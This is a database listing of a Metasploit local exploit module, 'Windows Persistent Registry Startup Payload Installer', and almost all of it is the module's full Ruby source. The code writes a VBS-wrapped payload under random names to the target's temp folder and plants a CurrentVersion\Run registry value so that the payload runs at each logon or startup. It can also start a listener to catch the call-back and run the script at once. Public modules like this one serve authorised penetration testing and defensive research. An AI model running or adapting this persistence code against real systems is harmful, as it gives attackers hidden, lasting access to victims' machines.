Windows Persistent Registry Startup Payload Installer

1976-01-01T00:00:00
ID MSF:EXPLOIT/WINDOWS/LOCAL/PERSISTENCE
Type metasploit
Reporter Rapid7
Modified 1976-01-01T00:00:00

Description

This module will install a payload that is executed during boot. It will be executed either at user logon or system startup via the registry value in "CurrentVersion\Run" (depending on privilege and selected method).

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Registry
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Windows Persistent Registry Startup Payload Installer',
      'Description'    => %q{
        This module will install a payload that is executed during boot.
        It will be executed either at user logon or system startup via the registry
        value in "CurrentVersion\Run" (depending on privilege and selected method).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Carlos Perez <carlos_perez[at]darkoperator.com>',
          'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
        ],
      'Platform'       => [ 'win' ],
      'SessionTypes'   => [ 'meterpreter' ],
      'Targets'        => [ [ 'Windows', {} ] ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => "Oct 19 2011",
      'DefaultOptions' =>
        {
          'DisablePayloadHandler' => 'true'
        }
    ))

    register_options([
      OptInt.new('DELAY',
        [true, 'Delay (in seconds) for persistent payload to keep reconnecting back.', 10]),
      OptEnum.new('STARTUP',
        [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
      OptString.new('VBS_NAME',
        [false, 'The filename to use for the VBS persistent script on the target host (%RAND% by default).', nil]),
      OptString.new('EXE_NAME',
        [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
      OptString.new('REG_NAME',
        [false, 'The name to call registry value for persistence on target host (%RAND% by default).', nil]),
      OptString.new('PATH',
        [false, 'Path to write payload (%TEMP% by default).', nil])
    ])

    register_advanced_options([
      OptBool.new('HANDLER',
        [false, 'Start an exploit/multi/handler job to receive the connection', false]),
      OptBool.new('EXEC_AFTER',
        [false, 'Execute persistent script after installing.', false])
    ])
  end

  # Exploit method for when exploit command is issued
  def exploit
    # Define default values
    rvbs_name = datastore['VBS_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
    rexe_name = datastore['EXE_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
    reg_val   = datastore['REG_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
    startup   = datastore['STARTUP'].downcase
    delay = datastore['DELAY']
    exec_after = datastore['EXEC_AFTER']
    handler = datastore['HANDLER']
    @clean_up_rc = ""

    rvbs_name = rvbs_name + '.vbs' if rvbs_name[-4,4] != '.vbs'
    rexe_name = rexe_name + '.exe' if rexe_name[-4,4] != '.exe'

    # Connect to the session
    begin
      host = session.session_host
      print_status("Running persistent module against #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
    rescue => e
      print_error("Could not connect to session: #{e}")
      return nil
    end

    # Check values
    if is_system? && startup == 'user'
      print_warning('Note: Current user is SYSTEM & STARTUP == USER. This user may not login often!')
    end

    if handler && !datastore['DisablePayloadHandler']
      # DisablePayloadHandler will stop listening after the script finishes - we want a job so it continues afterwards!
      print_warning("Note: HANDLER == TRUE && DisablePayloadHandler == TRUE. This will create issues...")
      print_warning("Disabling HANDLER...")
      handler = false
    end

    # Generate the exe payload
    vprint_status("Generating EXE payload (#{rexe_name})")
    exe = generate_payload_exe
    # Generate the vbs payload
    vprint_status("Generating VBS persistent script (#{rvbs_name})")
    vbsscript = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay, :exe_filename => rexe_name})
    # Writing the payload to target
    vprint_status("Writing payload inside the VBS script on the target")
    script_on_target = write_script_to_target(vbsscript, rvbs_name)
    # Exit the module because we failed to write the file on the target host
    # Feedback has already been given to the user, via the function.
    return unless script_on_target

    # Initial execution of persistent script
    case startup
    when 'user'
      # If we could not write the entry in the registy we exit the module.
      return unless write_to_reg("HKCU", script_on_target, reg_val)
      vprint_status("Payload will execute when USER (#{session.sys.config.getuid}) next logs on")
    when 'system'
      # If we could not write the entry in the registy we exit the module.
      return unless write_to_reg("HKLM", script_on_target, reg_val)
      vprint_status("Payload will execute at the next SYSTEM startup")
    else
      print_error("Something went wrong. Invalid STARTUP method: #{startup}")
      return nil
    end

    # Do we setup a exploit/multi/handler job?
    if handler
      listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD'])
      if listener_job_id.blank?
        print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
      end
    end

    # Do we execute the VBS script afterwards?
    target_exec(script_on_target) if exec_after

    # Create 'clean up' resource file
    clean_rc = log_file()
    file_local_write(clean_rc, @clean_up_rc)
    print_status("Clean up Meterpreter RC file: #{clean_rc}")

    report_note(:host => host,
      :type => "host.persistance.cleanup",
      :data => {
        :local_id    => session.sid,
        :stype       => session.type,
        :desc        => session.info,
        :platform    => session.platform,
        :via_payload => session.via_payload,
        :via_exploit => session.via_exploit,
        :created_at  => Time.now.utc,
        :commands    => @clean_up_rc
      }
    )
  end

  # Writes script to target host and returns the pathname of the target file or nil if the
  # file could not be written.
  def write_script_to_target(vbs, name)
    filename = name || Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
    temppath = datastore['PATH'] || session.sys.config.getenv('TEMP')
    filepath = temppath + "\\" + filename

    unless directory?(temppath)
      print_error("#{temppath} does not exists on the target")
      return nil
    end

    if file?(filepath)
      print_warning("#{filepath} already exists on the target. Deleting...")
      begin
        file_rm(filepath)
        print_good("Deleted #{filepath}")
      rescue
        print_error("Unable to delete file!")
        return nil
      end
    end

    begin
      write_file(filepath, vbs)
      print_good("Persistent VBS script written on #{sysinfo['Computer']} to #{filepath}")

      # Escape windows pathname separators.
      @clean_up_rc << "rm #{filepath.gsub(/\\/, '//')}\n"
    rescue
      print_error("Could not write the payload on the target")
      # Return nil since we could not write the file on the target
      filepath = nil
    end

    filepath
  end

  # Installs payload in to the registry HKLM or HKCU
  def write_to_reg(key, script_on_target, registry_value)
    regsuccess = true
    nam = registry_value || Rex::Text.rand_text_alpha(rand(8)+8)
    key_path = "#{key.to_s}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"

    print_status("Installing as #{key_path}\\#{nam}")

    if key && registry_setvaldata(key_path, nam, script_on_target, "REG_SZ")
      print_good("Installed autorun on #{sysinfo['Computer']} as #{key_path}\\#{nam}")
    else
      print_error("Failed to make entry in the registry for persistence")
      regsuccess = false
    end

    regsuccess
  end

  # Executes script on target and returns true if it was successfully started
  def target_exec(script_on_target)
    execsuccess = true
    print_status("Executing script #{script_on_target}")
    # Lets give the target a few seconds to catch up...
    Rex.sleep(3)

    # Error handling for process.execute() can throw a RequestError in send_request.
    begin
      unless datastore['EXE::Custom']
        cmd_exec("wscript \"#{script_on_target}\"")
      else
        cmd_exec("cscript \"#{script_on_target}\"")
      end
    rescue
      print_error("Failed to execute payload on target")
      execsuccess = false
    end

    execsuccess
  end

  # Starts a exploit/multi/handler session
  def create_multihandler(lhost, lport, payload_name)
    pay = client.framework.payloads.create(payload_name)
    pay.datastore['LHOST'] = lhost
    pay.datastore['LPORT'] = lport
    print_status('Starting exploit/multi/handler')

    unless check_for_listener(lhost, lport)
      # Set options for module
      mh = client.framework.exploits.create('multi/handler')
      mh.share_datastore(pay.datastore)
      mh.datastore['WORKSPACE'] = client.workspace
      mh.datastore['PAYLOAD'] = payload_name
      mh.datastore['EXITFUNC'] = 'thread'
      mh.datastore['ExitOnSession'] = true
      # Validate module options
      mh.options.validate(mh.datastore)
      # Execute showing output
      mh.exploit_simple(
        'Payload'     => mh.datastore['PAYLOAD'],
        'LocalInput'  => self.user_input,
        'LocalOutput' => self.user_output,
        'RunAsJob'    => true
      )

      # Check to make sure that the handler is actually valid
      # If another process has the port open, then the handler will fail
      # but it takes a few seconds to do so.  The module needs to give
      # the handler time to fail or the resulting connections from the
      # target could end up on on a different handler with the wrong payload
      # or dropped entirely.
      Rex.sleep(5)
      return nil if framework.jobs[mh.job_id.to_s].nil?

      return mh.job_id.to_s
    else
      print_error('A job is listening on the same local port')
      return nil
    end
  end

  # Method for checking if a listener for a given IP and port is present
  # will return true if a conflict exists and false if none is found
  def check_for_listener(lhost, lport)
    client.framework.jobs.each do |k, j|
      if j.name =~ / multi\/handler/
        current_id = j.jid
        current_lhost = j.ctx[0].datastore['LHOST']
        current_lport = j.ctx[0].datastore['LPORT']
        if lhost == current_lhost && lport == current_lport.to_i
          print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
          return true
        end
      end
    end
    false
  end

  # Function for creating log folder and returning log path
  def log_file(log_path = nil)
    # Get hostname
    host = session.sys.config.sysinfo["Computer"]

    # Create Filename info to be appended to downloaded files
    filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

    # Create a directory for the logs
    if log_path
      logs = ::File.join(log_path, 'logs', 'persistence',
                         Rex::FileUtils.clean_path(host + filenameinfo))
    else
      logs = ::File.join(Msf::Config.log_directory, 'persistence',
                         Rex::FileUtils.clean_path(host + filenameinfo))
    end

    # Create the log directory
    ::FileUtils.mkdir_p(logs)

    # logfile name
    logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
    logfile
  end
end